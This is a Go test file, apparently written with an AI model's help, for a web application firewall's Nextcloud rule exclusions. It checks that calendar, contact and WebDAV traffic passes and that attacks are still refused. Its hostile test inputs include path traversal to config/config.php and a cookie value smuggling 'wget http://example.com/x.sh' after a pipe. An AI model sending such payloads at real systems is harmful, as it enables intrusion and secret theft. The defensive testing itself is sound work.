Files
smallwebwaf/internal/coreruleset/nextcloud_test.go
T
clawbot 1dbbe01a94
check / check (push) Waiting to run
Core Rule Set: Nextcloud's calendar and contacts sync pass (closes #280)
rproxy passes MKCALENDAR on. nextcloud.conf allows it on
/remote.php/dav/calendars/ and PROPFIND on /.well-known/caldav and
carddav. The XML of an MKCOL there skips 930120, 932120, 932250 and
932260. That of an MKCALENDAR, and of an MKCOL on the address books'
paths, also skips 932125 and 932230, for the description. A PUT of
text/calendar or text/vcard there skips 920530: the Calendar and
Contacts apps name the charset twice when they change an event or a
contact.

Recorded from Nextcloud 35.0.2 with Calendar 6.6.5, Contacts 8.9.5 and
requests imitating DAVx5.

Model: opus-5-5
2026-11-10 10:09:10 +00:00

678 lines
22 KiB
Go

package coreruleset_test
import (
"encoding/json"
"html"
"maps"
"net/http"
"net/url"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5
// nextcloudShare is a public share's page.
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
// nextcloudPreview is a public share's preview of a file.
const nextcloudPreview = "/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO"
// nextcloudUsers is the OCS API's list of accounts.
const nextcloudUsers = "/ocs/v2.php/cloud/users"
// nextcloudShares is the OCS API's list of shares.
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
// nextcloudStatus is where the OCS API sets an account's status.
const nextcloudStatus = "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom"
// nextcloudFiles is the WebDAV folder of the account admin.
const nextcloudFiles = "/remote.php/dav/files/admin/"
// nextcloudSave is where the text editor saves a document.
const nextcloudSave = "/apps/text/session/1/save"
// The WebDAV methods the Files app's search and a comment's edit use, and
// the method the sync client lists a folder with.
const (
nextcloudSearch = "SEARCH"
nextcloudPropPatch = "PROPPATCH"
nextcloudPropFind = "PROPFIND"
)
// nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}`
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
}
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
// and 932260, each on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudQueryFields = []string{
"/login?user=",
"/login?redirect_url=",
"/index.php/login?user=",
"/apps/files/?dir=",
"/apps/files/files/134?dir=",
"/index.php/apps/files/?dir=",
nextcloudPreview + "?file=",
nextcloudShare + "/download?path=",
nextcloudShare + "/download?path=%2F&files=",
nextcloudUsers + "?search=",
nextcloudUsers + "/details?search=",
"/ocs/v2.php/cloud/groups?search=",
"/ocs/v1.php/cloud/groups/details?search=",
"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
nextcloudShares + "?path=",
"/ocs/v2.php/search/providers/files/search?term=",
"/ocs/v2.php/search/providers/files/search?term=x&from=",
}
// nextcloudFormFields are the form data fields that skip the four rules, each
// on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudFormFields = []struct{ target, field string }{
{"/login", "user="},
{"/login", passwordField},
{nextcloudUsers, "userid="},
{nextcloudUsers, "displayName="},
{nextcloudUsers, "groups%5B%5D="},
{nextcloudUsers + "/admin", "value="},
{"/ocs/v2.php/cloud/groups", "groupid="},
{nextcloudShares, "path="},
{nextcloudShares, "label="},
{nextcloudShares, "shareWith="},
}
// nextcloudBody is a form data, JSON or XML body, sent with its method to a
// path. It holds %s, where a value goes, written as the body's type needs.
type nextcloudBody struct{ method, target, contentType, body string }
// nextcloudBodies are the JSON and XML fields that skip the four rules, each
// on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudBodies = []nextcloudBody{
{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
{
http.MethodPut, nextcloudUsers + "/admin",
jsonBody, `{"key":"headline","value":"%s"}`,
},
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
{
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
jsonBody, `{"setting":"slogan","value":"%s"}`,
},
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
{
nextcloudSearch, "/remote.php/dav/", xmlBody,
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
},
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
}
// The WebDAV methods that make a calendar or an address book.
const (
nextcloudMkcol = "MKCOL"
nextcloudMkcalendar = "MKCALENDAR"
)
// nextcloudCalendars and nextcloudAddressBooks hold the calendars and the
// address books of the account admin.
const (
nextcloudCalendars = "/remote.php/dav/calendars/admin/"
nextcloudAddressBooks = "/remote.php/dav/addressbooks/users/admin/"
)
// nextcloudNewCollection is the XML body that names a new calendar or address
// book, as an MKCOL sends it.
const nextcloudNewCollection = `<d:mkcol xmlns:d="DAV:"><d:set><d:prop>` +
`<d:displayname>%s</d:displayname></d:prop></d:set></d:mkcol>`
// nextcloudNewCalendar is the XML body of an MKCALENDAR that names the new
// calendar.
const nextcloudNewCalendar = `<c:mkcalendar xmlns:d="DAV:" ` +
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
`<d:displayname>%s</d:displayname></d:prop></d:set></c:mkcalendar>`
// nextcloudCalendarDescription is the XML body of an MKCALENDAR that gives
// the new calendar a description.
const nextcloudCalendarDescription = `<c:mkcalendar xmlns:d="DAV:" ` +
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
`<d:displayname>Meetings</d:displayname>` +
`<c:calendar-description>%s</c:calendar-description>` +
`</d:prop></d:set></c:mkcalendar>`
// nextcloudAddressBookDescription is the XML body of an MKCOL that gives a new
// address book a description.
const nextcloudAddressBookDescription = `<mkcol xmlns="DAV:" ` +
`xmlns:CARD="urn:ietf:params:xml:ns:carddav"><set><prop>` +
`<resourcetype><collection /><CARD:addressbook /></resourcetype>` +
`<displayname>Trainers</displayname>` +
`<CARD:addressbook-description>%s</CARD:addressbook-description>` +
`</prop></set></mkcol>`
// nextcloudDescription is a calendar's description, as recorded.
const nextcloudDescription = "Powershell and python3 meetings; ls -la first"
// nextcloudDocument is the text of a document the text editor saves, which
// skips the rules for code blocks too.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var nextcloudDocument = nextcloudBody{
http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`,
}
// nextcloudTexts are the fields that hold what a person writes, which skip
// the rules for sentences too: a document, a comment, a share's note and an
// account's status.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudTexts = []nextcloudBody{
nextcloudDocument,
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
{
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
`</d:propertyupdate>`,
},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
{
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
formData, "note=%s",
},
{http.MethodPut, nextcloudStatus, jsonBody, `{"message":"%s"}`},
{http.MethodPut, nextcloudStatus, formData, "message=%s"},
}
// nextcloudSentences are sentences recorded in the texts, which rules
// refused there.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudSentences = []string{
"It is fixed; diff attached",
"Run python3 or powershell; ls -la shows .htaccess",
"We need more time; find the old notes first",
"Tested on Windows; powershell works",
}
// nextcloudCodeBlock is a shell script in a code block of a document, as
// recorded.
const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
"tar czf /tmp/notes.tar.gz notes/\nls -la /tmp\n```"
// nextcloudBodyScore returns the request that sends value, which is not
// escaped, in sent's body, and the score crs gives it.
func nextcloudBodyScore(
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
) (string, int) {
t.Helper()
switch sent.contentType {
case formData:
value = url.QueryEscape(value)
case jsonBody:
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
value = string(quoted[1 : len(quoted)-1])
case xmlBody:
value = html.EscapeString(value)
}
body := strings.Replace(sent.body, "%s", value, 1)
r := request{sent.method, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, crs, r, body)
return sent.method + " " + sent.target + " " + body, got.Score
}
// nextcloudFieldScores returns the score that the Core Rule Set, reading
// bodies, gives each request that sends value, a query value, in one of the
// fields that skip the four rules, keyed by the request.
func nextcloudFieldScores(t *testing.T, value string) map[string]int {
t.Helper()
crs := readingBodies(t)
scores := map[string]int{}
for _, target := range nextcloudQueryFields {
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
}
for _, sent := range nextcloudFormFields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
scores["POST "+sent.target+" "+sent.field+value] = got.Score
}
written, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
for _, sent := range nextcloudBodies {
request, score := nextcloudBodyScore(t, crs, sent, written)
scores[request] = score
}
return scores
}
// nextcloudTextScores returns the score that the Core Rule Set, reading
// bodies, gives each request that sends text, which is not escaped, in one of
// the texts, keyed by the request.
func nextcloudTextScores(t *testing.T, text string) map[string]int {
t.Helper()
crs := readingBodies(t)
scores := map[string]int{}
for _, sent := range nextcloudTexts {
request, score := nextcloudBodyScore(t, crs, sent, text)
scores[request] = score
}
return scores
}
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, value := range hardValues {
for request, score := range nextcloudFieldScores(t, value) {
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
}
}
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
t.Parallel()
for _, sentence := range nextcloudSentences {
for request, score := range nextcloudTextScores(t, sentence) {
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
}
document := "Backup steps:\n\n" + nextcloudCodeBlock
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range []string{
sqlInjection,
"..%2F..%2Fconfig%2Fconfig.php",
scriptInjection,
} {
written, err := url.QueryUnescape(attack)
if err != nil {
t.Fatal(err)
}
scores := nextcloudFieldScores(t, attack)
maps.Copy(scores, nextcloudTextScores(t, written))
for request, score := range scores {
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
// A shell command after a ";" reaches Nextcloud only in the texts.
for request, score := range nextcloudFieldScores(t, commandInjection) {
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
cookie := func(value string) request {
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
}
for _, value := range hardValues {
name, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
wantResult(t, crs, cookie(name), matched())
}
// A cookie cannot hold a ";", so the command follows a "|" instead.
for _, attack := range []string{
injection,
"../../config/config.php",
scriptTag,
"x|wget http://example.com/x.sh",
} {
if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
t.Errorf("nc_username=%s let through: %+v", attack, got)
}
}
got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
if got.Score < nextcloudThreshold {
t.Errorf("nc_other=python3 let through: %+v", got)
}
}
func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, method := range []string{
nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
nextcloudSearch, "LOCK", "UNLOCK",
} {
for _, target := range []string{
nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
} {
wantResult(t, crs, request{method, target, nil}, matched())
}
for _, target := range []string{
"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
} {
wantResult(t, crs, request{method, target, nil}, matched(911100))
}
}
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
// MKCALENDAR only where the calendars are.
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
}
for _, target := range []string{
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
"/x/remote.php/dav/calendars/",
} {
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
}
// PROPFIND, and no other WebDAV method, where a client asks for them.
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
}
other := request{nextcloudPropFind, "/.well-known/other", nil}
wantResult(t, crs, other, matched(911100))
}
func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A new calendar's and a new address book's description, as recorded.
for _, described := range []struct {
sent nextcloudBody
description string
}{
{
nextcloudBody{
nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody,
nextcloudCalendarDescription,
},
nextcloudDescription,
},
{
nextcloudBody{
nextcloudMkcol, nextcloudAddressBooks + "trainers/", xmlBody,
nextcloudAddressBookDescription,
},
"Powershell and python3 contacts; ls -la first",
},
} {
sent := described.sent
request, score := nextcloudBodyScore(t, crs, sent, described.description)
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
for _, attack := range []string{
sqlInjection, "..%2F..%2Fconfig%2Fconfig.php", scriptInjection, commandInjection,
} {
written, err := url.QueryUnescape(attack)
if err != nil {
t.Fatal(err)
}
request, score := nextcloudBodyScore(t, crs, sent, written)
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
// An MKCOL on the calendars' paths skips only the rules for names.
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
request, score = nextcloudBodyScore(t, crs, sent, described.description)
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
// nextcloudChangedEvent is the Content-Type of the PUT with which the
// Calendar app changes an event.
const nextcloudChangedEvent = "Content-Type: text/calendar; charset=UTF-8; " +
"component=vevent; charset=UTF-8"
func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, changed := range []request{
{http.MethodPut, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
{
http.MethodPut, nextcloudAddressBooks + "team/1.vcf",
[]string{"Content-Type: text/vcard; charset=UTF-8; charset=UTF-8"},
},
} {
wantResult(t, crs, changed, matched())
}
// Elsewhere, with another method or another type, two charsets are refused.
for _, refused := range []request{
{http.MethodPut, nextcloudFiles + "1.ics", []string{nextcloudChangedEvent}},
{http.MethodPost, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
{
http.MethodPut, nextcloudCalendars + "work/1.ics",
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
},
} {
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
t.Errorf("%s %s %q let through: %+v",
refused.method, refused.target, refused.headers, got)
}
}
}
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
// them, which rules refused when they read them as fields.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudUploads = []struct{ name, contentType, body string }{
{"pytest.json", jsonBody, `{"scripts": {"test": "python3 -m pytest"}}`},
{"logs.xml", xmlBody, "<tasks><task>ls -la /var/log</task></tasks>"},
}
func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, upload := range nextcloudUploads {
uploaded := request{
http.MethodPut, nextcloudFiles + upload.name, []string{upload.contentType},
}
got, _ := inspectBody(t, crs, uploaded, upload.body)
if got.Score >= nextcloudThreshold {
t.Errorf("PUT %s refused: %+v", uploaded.target, got)
}
for _, refused := range []request{
// Elsewhere, or with another method, the body is read.
{http.MethodPost, "/", uploaded.headers},
{http.MethodPut, "/apps/files/" + upload.name, uploaded.headers},
{http.MethodPost, uploaded.target, uploaded.headers},
// The query is still checked.
{http.MethodPut, uploaded.target + "?x=" + sqlInjection, uploaded.headers},
} {
got, _ := inspectBody(t, crs, refused, upload.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
}
}
}
}
func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
for _, method := range methods {
for _, target := range []string{
nextcloudFiles + "../../../config/config.php",
nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
} {
got := inspect(t, crs, request{method, target, nil})
if got.Score < nextcloudThreshold {
t.Errorf("%s %s let through: %+v", method, target, got)
}
}
}
}
func TestNextcloudExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, refused := range []string{
"/?dir=python3",
"/apps/other/?dir=python3",
"/apps/files/?other=python3",
"/login?other=python3",
"/x/login?user=python3",
nextcloudShare + "?files=powershell",
"/?file=powershell",
// Each public share path keeps the rules on the other's fields.
nextcloudPreview + "?files=powershell",
nextcloudShare + "/download?file=powershell",
"/?search=python3",
nextcloudUsers + "?other=python3",
"/x/ocs/v2.php/cloud/users?search=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
for _, sent := range []nextcloudBody{
// A JSON field of the same name in the query keeps the rules.
{
http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
jsonBody, `{"message":"python3"}`,
},
{
http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
jsonBody, `{"value":"python3"}`,
},
{
http.MethodPost, nextcloudUsers + "?json.userid=python3",
jsonBody, `{"userid":"python3"}`,
},
{
http.MethodPut, nextcloudShares + "/1?json.note=python3",
jsonBody, `{"note":"python3"}`,
},
{
http.MethodPut, nextcloudStatus + "?json.message=python3",
jsonBody, `{"message":"python3"}`,
},
// Other JSON fields keep them.
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
// A note or a status on another OCS path keeps them.
{http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"note":"python3"}`},
{http.MethodPut, nextcloudUsers + "/admin", formData, "message=python3"},
// XML on another path, or with another method, keeps them.
{
nextcloudSearch, nextcloudFiles,
xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
},
{
nextcloudPropPatch, nextcloudFiles + "notes.txt",
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
},
{
"REPORT", "/remote.php/dav/comments/files/1/2",
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
},
} {
r := request{sent.method, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
}
}
}